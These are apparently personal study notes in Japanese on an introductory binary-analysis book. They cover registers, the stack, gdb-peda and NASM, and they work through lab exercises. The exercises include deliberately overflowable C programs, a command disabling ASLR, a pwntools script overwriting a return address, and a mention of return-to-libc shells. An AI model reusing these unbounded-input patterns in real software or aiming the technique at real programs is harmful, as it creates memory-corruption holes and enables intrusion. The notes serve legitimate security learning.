『はじめて学ぶバイナリ解析』

§1 サイバーセキュリティと脆弱性
脆弱性のタイプ: CWE
e.g. CWE-119 バッファエラー
§2 アセンブラとコンピュータアーキテクチャ
§3 スタック領域
- ESP: スタックポインタ(トップ)
- EBP: ベースポインタ(ボトム)
環境構築
gcc, gdb, gdb-peda, hexylを入れた(WSL2)
nasm
gdb-peda
- gdb, スタックとかみれる
#include <stdio.h>
int main(void) {
int hoge = 10;
char fuga[] = "Hello, gdb!";
printf("%s\n", fuga);
}gdb-peda$ disass main
Dump of assembler code for function main:
0x0000000000401146 <+0>: push rbp
0x0000000000401147 <+1>: mov rbp,rsp
0x000000000040114a <+4>: sub rsp,0x10
0x000000000040114e <+8>: mov DWORD PTR [rbp-0x4],0xa
0x0000000000401155 <+15>: movabs rax,0x67202c6f6c6c6548
0x000000000040115f <+25>: mov QWORD PTR [rbp-0x10],rax
0x0000000000401163 <+29>: mov DWORD PTR [rbp-0x8],0x216264
0x000000000040116a <+36>: lea rax,[rbp-0x10]
0x000000000040116e <+40>: mov rdi,rax
0x0000000000401171 <+43>: call 0x401030 <puts@plt>
0x0000000000401176 <+48>: mov eax,0x0
0x000000000040117b <+53>: leave
0x000000000040117c <+54>: ret
End of assembler dump.break <fn>
でブレイクポイント設定
r
でそこまで実行
gdb-peda$ break main
Breakpoint 1 at 0x40114a
gdb-peda$ r
Starting program: /mnt/d/home/wakame_tech/bin_prac/a.out
[----------------------------------registers-----------------------------------]
RAX: 0x401146 (<main>: push rbp)
RBX: 0x0
RCX: 0x401180 (<__libc_csu_init>: push r15)
RDX: 0x7fffffffdd88 --> 0x7fffffffdff2 ("HOSTTYPE=x86_64")
RSI: 0x7fffffffdd78 --> 0x7fffffffdfcb ("/mnt/d/home/wakame_tech/bin_prac/a.out")
RDI: 0x1
RBP: 0x7fffffffdc90 --> 0x401180 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffdc90 --> 0x401180 (<__libc_csu_init>: push r15)
RIP: 0x40114a (<main+4>: sub rsp,0x10)
R8 : 0x7ffff7dd0d80 --> 0x0
R9 : 0x7ffff7dd0d80 --> 0x0
R10: 0x0
R11: 0x7
R12: 0x401040 (<_start>: xor ebp,ebp)
R13: 0x7fffffffdd70 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x401141 <frame_dummy+33>: jmp 0x4010c0 <register_tm_clones>
0x401146 <main>: push rbp
0x401147 <main+1>: mov rbp,rsp
=> 0x40114a <main+4>: sub rsp,0x10
0x40114e <main+8>: mov DWORD PTR [rbp-0x4],0xa
0x401155 <main+15>: movabs rax,0x67202c6f6c6c6548
0x40115f <main+25>: mov QWORD PTR [rbp-0x10],rax
0x401163 <main+29>: mov DWORD PTR [rbp-0x8],0x216264
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdc90 --> 0x401180 (<__libc_csu_init>: push r15)
0008| 0x7fffffffdc98 --> 0x7ffff7a05b97 (<__libc_start_main+231>: mov edi,eax)
0016| 0x7fffffffdca0 --> 0x1
0024| 0x7fffffffdca8 --> 0x7fffffffdd78 --> 0x7fffffffdfcb ("/mnt/d/home/wakame_tech/bin_prac/a.out")
0032| 0x7fffffffdcb0 --> 0x100008000
0040| 0x7fffffffdcb8 --> 0x401146 (<main>: push rbp)
0048| 0x7fffffffdcc0 --> 0x0
0056| 0x7fffffffdcc8 --> 0xadf8ba403a2360a0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x000000000040114a in main ()<main+(数字)>
でプログラムの場所が示されている
n
で次のステップ,
c
で最後まで実行
スタックはメモリ番地の大きい方(プログラム側)に伸びていくので逆さにしたスタックでかく
§5 レジスタと分岐
汎用レジスタ EAX accumulator, EBX base, ECX counter, EDX data, E: 32bit, R: 32bit
特殊レジスタ
ESP(スタックポインタ),
EBP(スタックベースポインタ),
EIP(インストラクションポインタ): 次に実行する命令
フラグレジスタ: 32bit
命令や演算などの状態を保存
5-5 条件分岐
- レジスタの書き換え
gdb-peda$ set $esp = 0x12345678
gdb-peda$ set $eflags |= (1 << 6) # 6番目のフラグをたてる
gdb-peda$ set $eflags &= ~(1 << 6) # 6番目のフラグを0に#include <stdio.h>
int main() {
int a;
a = 0;
if (a != 0) {
printf("hacked!\n");
} else {
printf("failed!\n");
}
return 0;
}
i register
§6 アセンブリを書こう
Intel, AT&T 記法がある
レジスタの参照先に書き込みたい時
mov [ebx], eax
mov [ebx+4], eaxeg. サンプル(64bit)
bits 32
global _start
_start:
push 0x000a6948 # "Hi"
mov eax, 0x4 # write
mov ebx, 0x1 # stdout
mov ecx, esp
mov edx, 0x4
int 0x80 # write
add esp, 0x4コンパイル&実行
$ nasm -f elf hello.s
$ ld -m elf_i386 hello.o
§7 gdb-pedaを用いたプログラムの解析
CTFの問題を解いてなれよう
gdb-pedaのスタック構造の見方
一行4バイト,
[スタックのアドレス] --> [スタックの中身]
ubuntu 64bit osなので一行8バイトだった
stack 20
で20行スタックを表示
#include <stdio.h>
#include <string.h>
void vuln(char * str) {
char str2[] = "beef";
char overflowme[16];
printf("input:");
scanf("%s", overflowme);
if (strcmp(str, str2) == 0) {
printf("hacked!\n");
} else {
printf("failed!\n");
}
}
int main() {
char string[] = "fish";
vuln(string);
}
gdb-pedaで
overflowme
と
str2
のオフセットが16バイトである事を確認
b vuln
,
r
してステップ実行していく
0x401182 <vuln+12>: mov DWORD PTR [rbp-0x5],0x666565620x66656562
は “feeb”
§8 リターンアドレスの書き換え
(復習) 関数の呼び出しは call <func>
現在のEIP(インストラクションポインタレジスタ)をstackにpushする, EIPを<func>のアドレスにする(= push eip; mov eip, func)
ret 現在のスタックトップのアドレスをEIPにしてからESPを4増やす(=pop eip)
関数を呼び出したあとにEIP, スタックの値を復元しなければ行けない(スタックは関数ごとに異なる領域)
8-2 関数呼び出し
呼び出し元
push arg2
push arg1
call label
mov retval, eax引数をpush(EIPも動く) stack: [, , arg2, arg1]
callを実行するのでEIPがpushされる(=リターンアドレス)
stack: [, , arg2, arg1, retaddr]
EIP更新終了後スタックを復元するために退避(EIPのバックアップをpush)
次の関数は前の関数で利用しているスタックの続き
呼び出し先
label:
push ebp
mov ebp, esp
sub esp, buflength
mov eax, [ebp+0x8] // arg1
mov ebx, [ebp+0xC] // arg2
...
mov esp, ebp
pop ebp
retESPを次の関数で利用するバッファ分下げる
スタックの上にargsが入っているのでレジスタに移す
戻り値は eax にいれる
ret: EIPにretaddr入れ, ESPひとつ小さく
復元完了
8-3 リターンアドレスの書き換え
#include <stdio.h>
void pwn() {
printf("hacked!\n");
}
void vuln() {
char overflowme[48];
scanf("%[^\n]", overflowme);
}
int main() {
vuln();
printf("failed!\n");
return 0;
}pwn()を呼ぶ
ASLR機能の無効化
$ sudo sysctl -w kernel. randomize_ va_ space = 0pattc 数字
: 指定した数の文字列を生成
patto <pattern>
何文字目に登場するか
オフセット 56
*dc88がリターンアドレスだった
from pwn import *
p = process("./a.out")
p.sendline("A" * 56 + "\x56\x11\x40")
print(p.recvline())§9 Return to libc
関数に無いコードも実行できるのでsystem関数で $sh されると任意の操作が
標準ライブラリの格納されているアドレスさえわかれば呼べる(return to libc攻撃)
9-3 グローバル変数と静的領域
静的領域は最初から最後まで確保され続けプログラム部ともスタック部とも異なる